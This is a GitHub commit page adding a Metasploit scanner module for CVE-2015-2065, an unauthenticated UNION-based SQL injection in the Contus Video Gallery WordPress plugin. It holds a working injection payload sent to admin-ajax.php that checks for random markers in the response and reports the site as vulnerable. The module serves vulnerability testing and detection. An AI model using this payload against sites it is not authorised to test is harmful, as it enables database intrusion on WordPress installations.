Skip to content

Commit c393f7c

Browse files
author
Brandon Perry
committed
add contus video gallery scanner
1 parent 103b829 commit c393f7c

File tree

1 file changed

+74
-0
lines changed

1 file changed

+74
-0
lines changed
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'uri'
7+
require 'msf/core'
8+
9+
class Metasploit4 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Scanner
13+
include Msf::Auxiliary::Report
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Contus Video Gallery Unauthenticated SQL Injection Scanner',
18+
'Description' => %q{
19+
This module attempts to exploit a UNION-based SQL injection in Contus Video
20+
Gallery for Wordpress version 2.7 and likely prior in order if the instance is
21+
vulnerable.
22+
},
23+
'Author' =>
24+
[
25+
'Claudio Viviani', #discovery
26+
'bperry' #metasploit module
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
[ 'CVE', '2015-2065'],
32+
[ 'WPVDB', '7793' ]
33+
],
34+
'DisclosureDate' => 'Mar 03 2015'))
35+
36+
register_options([
37+
OptString.new('TARGETURI', [true, 'Target URI of the Wordpress instance', '/'])
38+
], self.class)
39+
end
40+
41+
def run_host(ip)
42+
right_marker = Rex::Text.rand_text_alpha(5)
43+
left_marker = Rex::Text.rand_text_alpha(5)
44+
flag = Rex::Text.rand_text_alpha(5)
45+
46+
vprint_status("#{peer} - Checking host")
47+
48+
res = send_request_cgi({
49+
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
50+
'vars_get' => {
51+
'action' => 'rss',
52+
'type' => 'video',
53+
'vid' => "-1 UNION ALL SELECT NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- "
54+
}
55+
})
56+
unless res && res.body
57+
vprint_error("#{peer} - Server did not respond in an expected way")
58+
return
59+
end
60+
61+
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
62+
63+
if result
64+
print_good("#{peer} - Vulnerable to unauthenticated SQL injection within Contus Video Gallery 2.7 for Wordpress")
65+
report_vuln({
66+
:host => rhost,
67+
:port => rport,
68+
:proto => 'tcp',
69+
:name => "Unauthenticated UNION-based SQL injection in Contus Video Gallery 2.7 for Wordpress",
70+
:refs => self.references.select { |ref| ref.ctx_val == "2015-2065" }
71+
})
72+
end
73+
end
74+
end

0 commit comments

Comments
 (0)